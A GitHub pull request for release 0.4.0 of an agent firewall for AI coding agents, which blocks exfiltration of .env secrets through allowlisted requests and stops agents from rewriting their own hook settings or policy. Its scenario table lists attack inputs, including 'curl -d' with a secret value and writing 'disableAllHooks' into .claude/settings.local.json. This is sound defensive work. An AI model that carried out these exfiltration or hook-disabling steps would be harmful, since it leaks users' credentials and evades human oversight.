Repository navigation
Release 0.4.0: secret values never leave, protected names, the agent cannot rewrite what judges it - #17
Merged
Conversation
… taint An allowlist could still let a secret out after curl -d @.env was closed: - secret_files: the firewall reads the values in these files (credential keys, URL passwords, token and PEM lines) and refuses any request that carries one (secret-egress), whatever the tool, the grant or the allowed destination: as written, percent-decoded, base64 at any offset, or hex. It runs before every other rule, taints the session, and the audit record keeps only the names of the request's params. Each secret file is a protected path too. - protected_names: name patterns (.env.*, *.pem, .aws) protected wherever they appear under the sandbox, so .env.local and api/.env are covered when the list only names .env. - The agent hook keeps a session's taint across calls in a store next to its audit log, protected like the log. A denied Read .env no longer leaves the next WebFetch to an allowed origin or the next shell_ask interpreter decided as if nothing happened. A store that cannot be read taints every session; one that cannot be opened or written denies. Learning mode treats a recorded secret-egress as tainting the session, so nothing after it is learned from. The corpus gains seven cases (setup.files builds the copies), and tests/test_allowlist_exfil.py reproduces each leak before and after.
… policy The hook and the MCP proxy already protected their policy file and audit log. The agent could still change what is around them: - The agent hook now protects the host settings that install it, whether they exist or not: .claude/settings.json, .claude/settings.local.json and .mcp.json under --base-dir, the sandbox root and CLAUDE_PROJECT_DIR, the user's ~/.claude/settings.json (or CLAUDE_CONFIG_DIR) and ~/.claude.json; for Codex, .codex/config.toml and .codex/hooks.json and the same under CODEX_HOME. Writing disableAllHooks into settings.local.json, repointing --policy or adding an unproxied MCP server is fs-protected. - --protect PATH (hook and proxy) adds any other file the setup depends on: a wrapper script, the client config that launches the proxy. - --policy-sha256 HEX (hook and proxy; policy_sha256= in Gateway and Config) pins the policy file. A policy changed by a route the hook does not see, such as an allowed git checkout, is not loaded: the hook denies every call (fail-closed, audited) and the proxy refuses to start. tests/test_policy_integrity.py runs each rewrite the way it went before and refused now, including a refused settings write that learning mode must not propose.
realpath keeps the case it was given, so on a case-insensitive filesystem (macOS by default) cat .ENV opened .env while the policy compared /.../.ENV with /.../.env and allowed it. Protected paths and protected_names now compare casefolded; on a case-sensitive filesystem that also protects .ENV. The sandbox and writable checks still compare as written, so another spelling of an allowed directory is refused or asked about, never allowed.
README and README.es: the secret-egress rule and a section on secrets that must not leave; what the hook protects, --protect, --policy-sha256 and the taint that carries across calls; corpus count (58) and the new cases. AGENT_HOOKS.md gains "Keeping the firewall out of the agent's reach" (the protected host settings per host, the pin and where to keep it, the taint store) and rows in the table of what the example rules block. The threat model adds the two attacker capabilities and updates LLM02, ASI10 and the known limitations; LEARNING.md lists secret-egress among what is never relaxed or learned from. CHANGELOG entries for all of it.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Release 0.4.0. It ships what is on
mainsince 0.3.0 (#10 narrower grants; #6, #7 and #16 in learning mode; and the three fixes the OWASP ROS:SEC 2026 talk shows: #13, #14, #15) and closes what was still open in the two places the talk is about: an allowlist that still lets the.envout, and the agent rewriting its own policy.What each change blocks
Real output from the hook run as a subprocess against a synthetic project (root writable,
curlallowlisted,python3onshell_ask,https://docs.python.orgonnetwork.allow), onmain(9638df9) and on this branch:mainWebFetch https://docs.python.org/3/search.html?q=<value from .env>secret-egresssecret-egresscurl -d k=<value> https://docs.python.org/xsecret-egressRead .env.local,cat api/.env(the list names.envonly)fs-protected/sh-paths(protected_names)cat .ENV(opens.envon macOS)sh-pathsRead .envdenied, thenWebFetchto the allowed origin in the same sessiontaint-sessionpython3 -c '...'taint-sessionWrite .claude/settings.local.json {"disableAllHooks": true}fs-protectedWrite .mcp.jsonfs-protectedgit checkout), thencat .envfail-closed) with--policy-sha256Changes
Scenario 1, the allowlist that still lets the
.envoutsecret_files+ rulesecret-egress(agent_firewall/egress.py): the firewall reads the listed files and takes the values of keys that name a credential, URL passwords and non-assignment lines (8+ chars). Any request carrying one, in any param of any tool, raw, percent-decoded (twice), base64 at any offset or hex, is refused before every other rule (malformed requests included), taints the session, and is audited redacted: file, key and param names only, no values and no digest. Learning mode never learns from a session after asecret-egress. Each secret file is a protected path.protected_names: name patterns protected anywhere under the sandbox (.env.*,*.pem,.aws)..envfor.ENV).<audit>.tainted(protected; unreadable store taints every session, unopenable/unwritable store denies).Scenario 2, the agent rewriting its own policy
.claude/settings.json,.claude/settings.local.json,.mcp.json(under--base-dir, the sandbox root,CLAUDE_PROJECT_DIR),~/.claude/settings.json(orCLAUDE_CONFIG_DIR),~/.claude.json; Codex.codex/config.tomland.codex/hooks.jsonin the project andCODEX_HOME.--protect PATH(hook and MCP proxy) for anything else (wrapper script, the client config that launches the proxy).--policy-sha256 HEX(hook and MCP proxy;policy_sha256=inGateway,sha256=inConfig): a policy that changed is not loaded; the hook denies every call, the proxy refuses to start (and now exits with a message instead of a traceback on an unloadable policy).Behaviour changes, all stricter (called out in the CHANGELOG): calls naming the host settings are now refused; in the hook a tainted session stays tainted for later calls;
.ENVis protected when.envis. Policies without the new keys otherwise decide as before.Docs and data: README / README.es (new "Secrets that must not leave" section, rules table, hook paragraph, corpus, limitations, roadmap),
docs/AGENT_HOOKS.md(new "Keeping the firewall out of the agent's reach", table rows, limits), threat model (two new attacker capabilities, LLM02, ASI10, known limitations),docs/LEARNING.md, CHANGELOG.policies/default.jsonandexamples/hooks/agent-firewall.jsonuse the new keys. Corpus: 58 cases (8 new), withsetup.files.Post draft:
docs/posts/2026-10-28-the-allowlist-that-lets-the-env-out.md, with r/netsec and HN submission drafts at the top (remove that section before publishing).Tests (local)
python -m unittest discover -s tests: 295 OK on Python 3.11, 3.12 and 3.13 (249 onmain; +46:tests/test_allowlist_exfil.pyandtests/test_policy_integrity.pyrun each scenario first as it decided before, then refused).scripts/run_corpus.py: 58 cases, 0 failures.run_demo.py --health,run_demo.pyandrun_learning_demo.pypass.pip install .in a clean venv: imports and the three entry points (--help) work, as CI checks.ruff check --select E,F,W,B(not configured in the repo): 13 findings, the same 13 asmain; none new.Release notes (draft)
Release checklist (after approval)
## 0.4.0 — 2026-10-28in CHANGELOG.md first.git switch main && git pull && git tag -a v0.4.0 -m v0.4.0 && git push origin v0.4.0.release.ymlruns the tests, checks tag = version (0.4.0), builds sdist and wheel, creates the GitHub release and publishes to PyPI (PYPI_PUBLISHistrue). Watch:gh run watch/gh run list --workflow Release.gh release edit v0.4.0 --notes-file notes.md.pip install vt-agent-firewall==0.4.0andvt-agent-firewall-hook --help | grep policy-sha256.docs/posts/..., remove the submission-drafts section, then submit.